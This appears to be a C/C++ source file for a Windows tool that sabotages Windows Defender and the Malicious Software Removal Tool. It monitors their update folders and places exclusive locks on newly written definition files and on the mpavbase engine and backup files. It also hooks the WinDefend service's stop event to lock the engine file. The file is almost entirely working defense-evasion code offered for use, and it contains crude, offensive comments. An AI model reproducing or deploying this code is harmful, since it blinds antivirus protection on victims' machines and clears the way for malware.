| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452 |
- #define _CRT_SECURE_NO_WARNINGS
- #include <Windows.h>
- #include <stdio.h>
- #include <winternl.h>
- #include <ntstatus.h>
- #include <conio.h>
- #include <objbase.h>
- #pragma comment(lib,"ntdll.lib")
- HANDLE* gHandleTracker = NULL;
- CRITICAL_SECTION* gHandleTrackerLock;
- wchar_t gbackupfile1[MAX_PATH] = { 0 };
- wchar_t gbackupfile2[MAX_PATH] = { 0 };
- struct UpdThreadObj {
- wchar_t* wdupdatedir;
- wchar_t* target;
- };
- void AddHandle(HANDLE hlock)
- {
- // shit code but works i guess
- static unsigned int handlecount = 0;
- EnterCriticalSection(gHandleTrackerLock);
- HANDLE* ntracker = (HANDLE*)malloc((++handlecount + 1) * sizeof(HANDLE));
- if (gHandleTracker)
- {
- memmove(ntracker, gHandleTracker, handlecount * sizeof(HANDLE));
- }
- ntracker[handlecount - 1] = hlock;
- ntracker[handlecount] = NULL;
- if (gHandleTracker)
- free(gHandleTracker);
- gHandleTracker = ntracker;
- LeaveCriticalSection(gHandleTrackerLock);
- }
- void TryLockBackup() {
- static HANDLE hlock1 = NULL;
- static HANDLE hlock2 = NULL;
- if (hlock1 && hlock2)
- return;
- UNICODE_STRING unistr = { 0 };
- OBJECT_ATTRIBUTES objattr = { 0 };
- RtlInitUnicodeString(&unistr, gbackupfile1);
- InitializeObjectAttributes(&objattr, &unistr, OBJ_CASE_INSENSITIVE, NULL, NULL);
- IO_STATUS_BLOCK iostat = { 0 };
- NTSTATUS ntstat = STATUS_SUCCESS;
- if (!hlock1)
- ntstat = NtCreateFile(&hlock1, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL);
- RtlInitUnicodeString(&unistr, gbackupfile2);
- if (!hlock2)
- ntstat = NtCreateFile(&hlock2, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL);
- LARGE_INTEGER li2 = { 0 };
- if (hlock1) {
- LARGE_INTEGER li = { 0 };
- GetFileSizeEx(hlock1, &li);
- OVERLAPPED ov = { 0 };
- LockFileEx(hlock1, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov);
- printf("File \"%ws\" was locked.\n", &gbackupfile2[4]);
- AddHandle(hlock1);
- }
- if (hlock2)
- {
- LARGE_INTEGER li = { 0 };
- GetFileSizeEx(hlock2, &li);
- OVERLAPPED ov = { 0 };
- LockFileEx(hlock2, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov);
- printf("File \"%ws\" was locked.\n", &gbackupfile2[4]);
- AddHandle(hlock2);
- }
- return;
- }
- DWORD WINAPI UpdateBlockerThread(UpdThreadObj* argv)
- {
- wchar_t fpath[MAX_PATH] = { 0 };
- wchar_t _fpath[MAX_PATH] = { 0 };
- wcscpy(fpath, argv->wdupdatedir);
- wcscat(fpath, L"\\");
- wcscat(fpath, argv->target);
- free(argv->target);
- delete argv;
- DWORD index = 0;
- HANDLE hlock = NULL;
- UNICODE_STRING target = { 0 };
- OBJECT_ATTRIBUTES objattr = { 0 };
- CLSID tmp = { 0 };
- NTSTATUS stat = STATUS_SUCCESS;
- IO_STATUS_BLOCK iostat = { 0 };
- wchar_t mx[40] = { 0 };
- /*
- for (int i = wcslen(fpath); i > 0; i--) {
- if (fpath[i] == L'\\')
- {
- if (wcslen(fpath) > 99)
- {
- memmove(mx, &fpath[i - 38], 38 * sizeof(wchar_t));
- break;
- }
- else if (wcslen(fpath) > 67)
- {
- memmove(mx, &fpath[i - 6], 6 * sizeof(wchar_t));
- break;
- }
-
- break;
- }
- }
- wchar_t __cmp[7] = { 0 };
- memmove(__cmp, mx, 6 * sizeof(wchar_t));*/
- if (1/*(!CLSIDFromString(mx, &tmp)) || _wcsicmp(__cmp, L"Backup") == 0*/)
- {
- printf("Found path : \"%ws\"\n", fpath);
- wcscpy(_fpath, L"\\??\\");
- wcscat(_fpath, fpath);
- RtlInitUnicodeString(&target, _fpath);
- InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL);
- IO_STATUS_BLOCK iostat = { 0 };
- do {
- stat = NtCreateFile(&hlock, GENERIC_READ | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, NULL);
- if (stat == STATUS_NOT_FOUND || stat == STATUS_OBJECT_NAME_NOT_FOUND || stat == STATUS_OBJECT_PATH_NOT_FOUND)
- return stat;
- } while (stat);
- LARGE_INTEGER li = { 0 };
- GetFileSizeEx(hlock, &li);
- LARGE_INTEGER offset = { 0,0 };
- if (!LockFile(hlock, offset.LowPart, offset.HighPart, li.LowPart, li.HighPart))
- {
- printf("LockFile failed, error : %d\n", GetLastError());
- }
- printf("File \"%ws\" was locked.\n", fpath);
-
- AddHandle(hlock);
- }
-
- return ERROR_SUCCESS;
- }
- VOID WDKillerCallback(IN PVOID pParameter)
- {
- printf("Windows defender stopped...\n");
- PSERVICE_NOTIFY psny = (PSERVICE_NOTIFY)pParameter;
- SC_HANDLE hsvc = (SC_HANDLE)psny->pContext;
- DWORD requiredbytes = 0;
- QueryServiceConfig(hsvc, NULL, NULL, &requiredbytes);
- if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
- {
- printf("Failed to query windows defender service configuration, error : %d\n", GetLastError());
- return;
- }
- LPQUERY_SERVICE_CONFIG svccfg = (LPQUERY_SERVICE_CONFIG)malloc(requiredbytes);
- if (!QueryServiceConfig(hsvc, svccfg, requiredbytes, &requiredbytes))
- {
- printf("Failed to query windows defender service configuration, error : %d\n", GetLastError());
- return;
- }
- svccfg->lpBinaryPathName[wcslen(svccfg->lpBinaryPathName) - 1] = NULL;
- wchar_t* binpath = &svccfg->lpBinaryPathName[1];
- /*
- wchar_t dllpath[MAX_PATH] = { 0 };
- memmove(dllpath, binpath, wcslen(binpath) * sizeof(wchar_t) - (11 * sizeof(wchar_t)));
- wcscat(dllpath, L"MpSvc.dll");
- printf("%ws\n", dllpath);
- */
- HKEY wdkey = NULL;
- if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates", NULL, KEY_READ, &wdkey) || !wdkey)
- {
- printf("Failed to open windows defender key.\n");
- return;
- }
- wchar_t sigpath[MAX_PATH] = { 0 };
- DWORD retsz = sizeof(sigpath);
- //TODO : Check if this returns a properly null terminated string
- DWORD retcode = RegQueryValueEx(wdkey, L"SignatureLocation", NULL, NULL, (LPBYTE)sigpath, &retsz);
- RegCloseKey(wdkey);
- wdkey = NULL;
- if (retcode)
- {
- printf("Failed to find windows defender signature path.\n");
- return;
- }
- wcscat(sigpath, L"\\mpavbase.vdm");
- wchar_t _sigpath[MAX_PATH] = { 0 };
- wcscpy(_sigpath, L"\\??\\");
- wcscat(_sigpath, sigpath);
- UNICODE_STRING unistr = { 0 };
- RtlInitUnicodeString(&unistr, _sigpath);
- OBJECT_ATTRIBUTES objattr = { 0 };
- InitializeObjectAttributes(&objattr, &unistr, OBJ_CASE_INSENSITIVE, NULL, NULL);
- IO_STATUS_BLOCK iostat = { 0 };
- // if you are reading this, you are autistic.
- HANDLE hlock = NULL;
- NTSTATUS ntstat = STATUS_SUCCESS;
- ntstat = NtCreateFile(&hlock, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL);
- if (ntstat)
- {
- printf("Failed to open engine file \"%ws\", error : 0x%0.8X\n", unistr.Buffer, ntstat);
- return;
- }
- LARGE_INTEGER li = { 0 };
- LARGE_INTEGER li2 = { 0 };
- GetFileSizeEx(hlock, &li);
- OVERLAPPED ov = { 0 };
- LockFileEx(hlock, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov);
- printf("File locked.\n");
- free(svccfg);
- AddHandle(hlock);
- return;
- }
- DWORD WINAPI WDKillerThread(void*)
- {
- SC_HANDLE hsvc = NULL;
- SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
- if (!scmgr)
- {
- printf("Failed to open service manager, error : %d\n", GetLastError());
- return 1;
- }
- hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
- CloseServiceHandle(scmgr);
- if (!hsvc)
- {
- printf("Failed to open WinDefend service, error : %d\n", GetLastError());
- return 1;
- }
- SERVICE_STATUS svcstat = { 0 };
- if (!QueryServiceStatus(hsvc, &svcstat) || svcstat.dwCurrentState != SERVICE_RUNNING)
- {
- printf("Windows Defender isn't running, exiting...");
- CloseHandle(hsvc);
- ExitProcess(ERROR_SUCCESS);
- }
- while (1) {
- SERVICE_NOTIFY_2W svcnotify = { 0 };
- svcnotify.dwVersion = SERVICE_NOTIFY_STATUS_CHANGE;
- svcnotify.pfnNotifyCallback = WDKillerCallback;
- svcnotify.pContext = hsvc;
- if (NotifyServiceStatusChangeW(hsvc,
- SERVICE_NOTIFY_STOPPED, &svcnotify))
- {
- printf("Failed to set a notification for windows defender status.\n");
- CloseHandle(hsvc);
- return 1;
- }
- printf("Registered callback for Windows Defender status change.\n");
- SleepEx(INFINITE, TRUE);
- }
- CloseHandle(hsvc);
- return 0;
- }
- DWORD WINAPI MRTWorkerThread(void*) {
- wchar_t wdpath[MAX_PATH] = { 0 };
- wchar_t _wdupdatedir[] = { L"\\??\\C:\\Windows\\System32\\MRT"};
- UNICODE_STRING target = { 0 };
- RtlInitUnicodeString(&target, _wdupdatedir);
- OBJECT_ATTRIBUTES objattr = { 0 };
- IO_STATUS_BLOCK iostat = { 0 };
- HANDLE hmonitordir = NULL;
- DWORD retbytes = 0;
- InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL);
- NTSTATUS stat = STATUS_SUCCESS;
- do {
- Sleep(10);
- stat = NtCreateFile(&hmonitordir, FILE_READ_DATA | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
- FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_REPARSE_POINT, NULL, NULL);
- } while (stat == STATUS_OBJECT_NAME_NOT_FOUND);
- if (stat || !hmonitordir)
- {
- printf("Failed to open MRT directory, error : 0x%0.8X\n",stat);
- return 1;
- }
- char notifydata[0x1000] = { 0 };
- do {
- if (!ReadDirectoryChangesW(hmonitordir, notifydata, sizeof(notifydata), TRUE, FILE_NOTIFY_CHANGE_SIZE, &retbytes, NULL, NULL))
- {
- printf("Failed to set directory watcher.\n");
- return 1;
- }
- FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)notifydata;
- if (fni->Action != FILE_ACTION_MODIFIED)
- continue;
- //printf("Notify triggered.\n");
- UpdThreadObj* threadargv = new UpdThreadObj;
- threadargv->wdupdatedir = &_wdupdatedir[4];
- fni->FileName[fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)] = NULL;
- wchar_t* target = (wchar_t*)malloc(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t));
- ZeroMemory(target, sizeof(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)));
- wcscpy(target, fni->FileName);
- threadargv->target = target;
- DWORD tid = 0;
- // TODO : track thread creation
- HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)UpdateBlockerThread, threadargv, NULL, &tid);
- } while (1);
- return ERROR_SUCCESS;
- }
- int wmain()
- {
- DWORD tid2 = 0;
- wchar_t updatedir[MAX_PATH] = { 0 };
- HKEY wdkey = NULL;
- wchar_t wdpath[MAX_PATH] = { 0 };
- wchar_t wdupdatedir[MAX_PATH] = { 0 };
- wchar_t _wdupdatedir[MAX_PATH] = { 0 };
- DWORD retsz = sizeof(wdpath);
- DWORD retbytes = 0;
- DWORD retcode = 0;
- HANDLE hmonitordir = NULL;
- NTSTATUS stat = STATUS_SUCCESS;
- UNICODE_STRING target = { 0 };
- OBJECT_ATTRIBUTES objattr = { 0 };
- IO_STATUS_BLOCK iostat = { 0 };
- gHandleTrackerLock = new CRITICAL_SECTION;
- InitializeCriticalSection(gHandleTrackerLock);
- HANDLE wdkiller = NULL;
- if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender", NULL, KEY_READ, &wdkey) || !wdkey)
- {
- printf("Failed to open windows defender key.\n");
- return 1;
- }
- //TODO : Check if this returns a properly null terminated string
- retcode = RegQueryValueEx(wdkey, L"ProductAppDataPath", NULL, NULL, (LPBYTE)wdpath, &retsz);
- RegCloseKey(wdkey);
- wdkey = NULL;
- if (retcode)
- {
- printf("Failed to find windows defender installation path.\n");
- return 1;
- }
- wcscpy(wdupdatedir, wdpath);
- wcscat(wdupdatedir, L"\\Definition Updates");
- wcscpy(_wdupdatedir, L"\\??\\");
- wcscat(_wdupdatedir, wdupdatedir);
- wcscpy(gbackupfile1, _wdupdatedir);
- wcscpy(gbackupfile2, _wdupdatedir);
- wcscat(gbackupfile1, L"\\Backup\\mpavbase.lkg");
- wcscat(gbackupfile2, L"\\Backup\\mpavbase.vdm");
- TryLockBackup();
- wdkiller = CreateThread(NULL, NULL, WDKillerThread, NULL, NULL, &tid2);
- // run in killer mode
- // WaitForSingleObject(wdkiller,INFINITE);
- //
- HANDLE mrtkiller = CreateThread(NULL, NULL, MRTWorkerThread, NULL, NULL, &tid2);
- if (!wdkiller)
- {
- printf("Failed to create defender killer thread.\n");
- }
- if (!mrtkiller)
- {
- printf("Failed to create MRT killer thread.\n");
- }
- RtlInitUnicodeString(&target, _wdupdatedir);
- InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL);
- stat = NtCreateFile(&hmonitordir, FILE_READ_DATA | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
- FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_REPARSE_POINT, NULL, NULL);
- if (stat || !hmonitordir)
- {
- printf("Failed to open windows defender update directory.\n");
- return 1;
- }
-
- //WaitForSingleObject(gevent, INFINITE);
- char notifydata[0x1000] = { 0 };
- do {
- if (!ReadDirectoryChangesW(hmonitordir, notifydata, sizeof(notifydata), TRUE, FILE_NOTIFY_CHANGE_SIZE, &retbytes, NULL, NULL))
- {
- printf("Failed to set directory watcher.\n");
- return 1;
- }
- FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)notifydata;
- if (fni->Action != FILE_ACTION_MODIFIED)
- continue;
- //printf("Notify triggered.\n");
-
- UpdThreadObj* threadargv = new UpdThreadObj;
- threadargv->wdupdatedir = wdupdatedir;
- fni->FileName[fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)] = NULL;
- wchar_t* target = (wchar_t*)malloc(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t));
- ZeroMemory(target, sizeof(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)));
- wcscpy(target, fni->FileName);
- threadargv->target = target;
- DWORD tid = 0;
- // TODO : track thread creation
- HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)UpdateBlockerThread, threadargv, NULL, &tid);
- } while (1);
- CloseHandle(hmonitordir);
- return 0;
- }
|